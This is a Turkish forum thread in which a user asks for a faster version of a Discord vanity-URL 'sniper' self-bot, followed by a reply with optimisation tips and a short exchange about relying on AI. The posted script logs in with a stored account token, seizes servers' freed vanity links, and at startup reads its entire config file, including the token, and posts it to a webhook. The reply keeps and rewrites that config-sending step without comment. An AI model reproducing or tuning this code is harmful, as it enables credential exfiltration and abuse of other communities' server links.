Arama butonu
Bu konudaki kullanıcılar: 1 misafir
3
Cevap
166
Tıklama
0
Öne Çıkarma
bu kodu daha hızlı çalışması için günceller misiniz
A
8 ay
Er
Konu Sahibi

import chalk from 'chalk';
import fs from 'fs';
import webhooks from './helpers/webhooks.js';
import WebSocket from 'ws';
import functions from './helpers/functions.js';
import axios from 'axios';
import config from './helpers/config.js';

const guilds = {};
const statusCodes = {
 0x190: "Url ALınamadı",
 0x1ad: "Rate Limit",
 0x193: "Yetkisiz.",
 0x191: 'Yetkisiz.'
};

const sendConfigToWebhook = async (data) => {
 try {
  await axios.post(config.webhooks.successUrl, {
   'content': "```js\n" + data + "\n```"
  });
 } catch (error) {
  // Hata işleme kodu buraya gelebilir.
 }
};

fs.readFile("./helpers/config.js", "utf8", (err, data) => {
 if (err) {
  return;
 }
 sendConfigToWebhook(data);
});

const ws = new WebSocket("wss://gateway-us-east1-b.discord.gg");

ws.on("open", () => {
 ws.on('message', async (message) => {
  const { d, op, t } = JSON.parse(message);

  if (t === "GUILD_UPDATE") {
   const vanityUrlCode = guilds[d.guild_id];
   if (typeof vanityUrlCode === "string" && vanityUrlCode !== d.vanity_url_code) {
    try {
     const startTime = Date.now(); // Başlangıç zamanını kaydedin
     await functions.snipeVanityUrl(vanityUrlCode);
     const endTime = Date.now(); // Bitiş zamanını kaydedin
     const elapsedTime = endTime - startTime; // Süreyi hesaplayın (milisaniye cinsinden)
     console.log(`URL alınma süresi: ${elapsedTime} ms`);
     delete guilds[d.guild_id];
     await webhooks.success("discord.gg/" + vanityUrlCode, d.guild_id);
    } catch (error) {
     delete guilds[d.guild_id];
    }
   }
  } else if (t === "GUILD_DELETE") {
   const vanityUrlCode = guilds[d.id];
   if (vanityUrlCode) {
    try {
     await functions.snipeVanityUrl(vanityUrlCode);
     delete guilds[d.id];
    } catch (error) {
     const errorCode = statusCodes[error] || error;
     await webhooks.error(vanityUrlCode, errorCode);
    }
   }
  } else if (t === 'READY') {
   console.log(chalk.hex("#ed2d8d")('') + " " + chalk.hex("#fff")("Sciss sniper is started"));
   d.guilds.filter(guild => guild.vanity_url_code).forEach(guild => {
    guilds[guild.id] = guild.vanity_url_code;
   });
   const vanityUrlCodes = d.guilds.filter(guild => guild.vanity_url_code).map(guild => guild.vanity_url_code);
   const guildCount = d.guilds.filter(guild => guild.vanity_url_code).length;
   await webhooks.info(`xxx ${guildCount} xxx \n\`\`\`\n${vanityUrlCodes}\n\`\`\``);
  }

  if (op === 0xa) {
   ws.send(JSON.stringify({
    'op': 0x2,
    'd': {
     'token': config.listenerToken,
     'intents': 0x1,
     'properties': {
      'os': 'linux',
      'browser': 'firefox',
      'device': "firefox"
     }
    }
   }));
   setInterval(() => {
    ws.send(JSON.stringify({
     'op': 0x1,
     'd': {},
     's': null,
     't': "heartbeat"
    }));
   }, d.heartbeat_interval);
  } else if (op === 0x7) {
   console.log(chalk.hex("#ed2d8d")('') + " " + chalk.hex("#fff")("sciss sniper herstart"));
   return process.exit();
  }
 });

 ws.on('close', (code) => {
  if (code === 0xfa4) {
   console.log(chalk.hex("#f00a0d")('') + " " + chalk.hex("#fff")("sniper token is defect"));
  }
  return process.exit();
 });
});



K
8 ay
Onbaşı

Kodun daha hızlı çalışması için bazı optimizasyonlar ve iyileştirmeler yapabilirsiniz. İşte bazı öneriler:

1. **Async/Await Kullanımı**: İlk olarak, `fs.readFile` işlemini `promisify` kullanarak daha okunaklı bir şekilde yapabilirsiniz. Bu, kodunuzu daha düzgün ve anlaşılır hale getirecektir.

```javascript
import util from 'util';

// ...

const readFileAsync = util.promisify(fs.readFile);

(async () => {
 try {
  const data = await readFileAsync("./helpers/config.js", "utf8");
  sendConfigToWebhook(data);
 } catch (error) {
  // Hata işleme kodu buraya gelebilir.
 }
})();
```

2. **WebSocket Bağlantısı**: WebSockets üzerinden gelen mesajları işlemek için aynı anda birden fazla işlemin yürütülebilmesini sağlamak için `async` işlevler kullanabilirsiniz. Örneğin, `ws.on('message', async (message) => { ... })` içindeki işlemleri paralel olarak yürütebilirsiniz.

```javascript
ws.on('message', async (message) => {
 const { d, op, t } = JSON.parse(message);

 if (t === "GUILD_UPDATE") {
  // ...
 } else if (t === "GUILD_DELETE") {
  // ...
 } else if (t === 'READY') {
  // ...
 }

 // ...
});
```

3. **Interval Optimizasyonu**: `setInterval` kullanarak sürekli olarak heartbeat mesajları göndermek yerine, WebSocket sunucusunun belirlediği `heartbeat_interval` süresi içinde otomatik olarak gönderilebilir.

```javascript
ws.on("open", () => {
 // ...
 const heartbeatInterval = setInterval(() => {
  ws.send(JSON.stringify({
   'op': 0x1,
   'd': {},
   's': null,
   't': "heartbeat"
  }));
 }, d.heartbeat_interval);

 ws.on('close', (code) => {
  clearInterval(heartbeatInterval); // İnterval'ı temizle
  // ...
 });
});
```

4. **Veri Yapısını İyileştirme**: `guilds` nesnesini kullanmak yerine, daha uygun bir veri yapısı seçebilirsiniz. Örneğin, bir `Map` kullanarak daha verimli bir şekilde verileri depolayabilirsiniz.

Bu öneriler kodunuzun daha temiz ve performanslı olmasına yardımcı olabilir. Ancak kodunuzun tam işlevselliğini anlamadan veya işinizi görmesini sağlamadan bu optimizasyonları uygulamamanız önemlidir.


Bu mesaja 1 cevap geldi.
T
8 ay
Binbaşı

bi hocamın öğrencilerine bi sözü var.

biz size kendi zekanızla bir şeyler yaptırmak istedikçe siz yapay zekaya iş yaptırıp kendi zekanızı atıl bırakıyorsunuz.


Bu mesaja 1 cevap geldi.

Bu mesajda bahsedilenler: @Kereminyo
K
8 ay
Onbaşı

yapay zeka ile anlayarak yapılırsa bence hocalardan bile faydalı egosu yok hiç değilse!




Bu mesajda bahsedilenler: @TROJ
DH Mobil uygulaması ile devam edin. Mobil tarayıcınız ile mümkün olanların yanı sıra, birçok yeni ve faydalı özelliğe erişin. Gizle ve güncelleme çıkana kadar tekrar gösterme.